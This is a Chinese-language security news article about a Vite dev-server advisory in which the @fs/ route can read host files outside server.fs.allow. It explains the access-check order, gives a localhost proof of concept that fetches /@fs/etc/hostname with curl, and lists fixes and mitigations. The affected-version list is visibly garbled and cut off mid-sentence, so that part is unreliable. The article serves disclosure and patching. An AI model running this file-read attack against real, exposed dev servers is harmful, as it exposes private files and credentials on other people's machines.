资讯 Vite @fs 越界读文件:safeModulePaths 在 fs.allow 之前被信任

2026-10-21 21:03:32

Vite @fs 越界读文件:safeModulePaths 在 fs.allow 之前被信任

公告与影响面

Vite 安全公告 GHSA-rq7h-c2jc-7f22,2026-10-06 发布,严重级别 Moderate,CVSS 4.0 得分 6.3,弱点归类为 CWE-22 路径遍历 与 CWE-284 访问控制不当。

问题出在开发服务器对 @fs/ 请求的访问控制顺序上。当项目里 import 的文件,其相对 root 的浏览器 URL 恰好等于宿主机上某个可读文件的绝对路径时,server.fs.allow 白名单之外的文件内容会被返回给浏览器。公告给的例子很直接:项目引用 /etc/hosts,宿主机的 /etc/hosts 内容就可能被读出来。

这条路径不需要猜文件名之外的任何东西,命中条件是「项目内的 import 路径」与「宿主机绝对路径」字符串重合,因此在 root 布局和系统目录结构相似的场景下很容易成立。

受影响版本与修补版本

受影响的 vite 版本区间:

  • >=8.3.0 =8.2.0 =8.0.0 =7.0.0 /etc/hostname。

之后浏览器请求 /@fs/etc/hostname,raw-filesystem 中间件把 /etc/hostname 当绝对路径处理。访问检查的顺序是:先套 server.fs.deny,再接受 safeModulePaths 中的路径——而这一步发生在检查 server.fs.allow 之前。于是宿主机文件被返回,项目内的同名诱饵文件反而没被读到。

换句话说,safeModulePaths 的语义是「这些是本项目 import 过的模块,可信」,但它记录的字符串既可以表示项目内文件,也可以表示宿主机绝对路径,两者在检查逻辑里没有区分开。

PoC:Linux 上读 /etc/hostname

前提是 /etc/hostname 在宿主机上可读。搭一个最小项目:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY' > etc/hostname
$ echo 'import "./etc/hostname"' > main.js
$ npx vite --host 127.0.0.1

项目里放了一个 etc/hostname 作为诱饵,main.js 引用的是项目内的相对路径。另开一个终端验证:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js      # 200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname  # 200
$ cmp -s response /etc/hostname && echo 'response matches host file'

判定方式看两条:/@fs/etc/hostname 返回 200,且响应体与宿主机 /etc/hostname 逐字节相同(cmp 通过并打印 response matches host file)。如果返回的是 PROJECT-DECOY,说明读到的是项目内文件,未触发问题。注意 --host 127.0.0.1 只用于本机验证,不要把它换成对外地址在非授权环境测试。

修复与规避

升级到修补版本。 修复从 8.3.3 起:把 ids 存进 safeModulePaths 时改用 URL,而不是转换后的路径。这样 safeModulePaths 里保存的是浏览器侧 URL 形态,后续匹配 @fs 请求时不会退化成一个宿主机绝对路径,server.fs.allow 的边界重新生效。按前面列出的版本对应升级,vite-plus 升到 1.1.0。

不要暴露 dev server。 去掉 --host,或把 server.host 收回到 127.0.0.1 / localhost。开发服务器本来就不是为不可信网络设计的,把它放到 0.0.0.0 或反向代理后面,等于把 @fs 这类调试接口一起公开。

收紧 server.fs.deny。 把 /etc/ 之类的系统路径、以及项目外的凭证文件加入 server.fs.deny。这层检查在 safeModulePaths 之前执行,因此对本文描述的路径仍然有效,但它只是兜底——逐条枚举敏感路径无法覆盖所有绝对路径,最终还是要靠升级解决。

已升级但暂时无法重启服务的环境,可以先按前两条收敛暴露面,再安排窗口更新依赖。

复制全文 生成海报 Vite 前端安全 漏洞排查

推荐文章

程序员茄子在线接单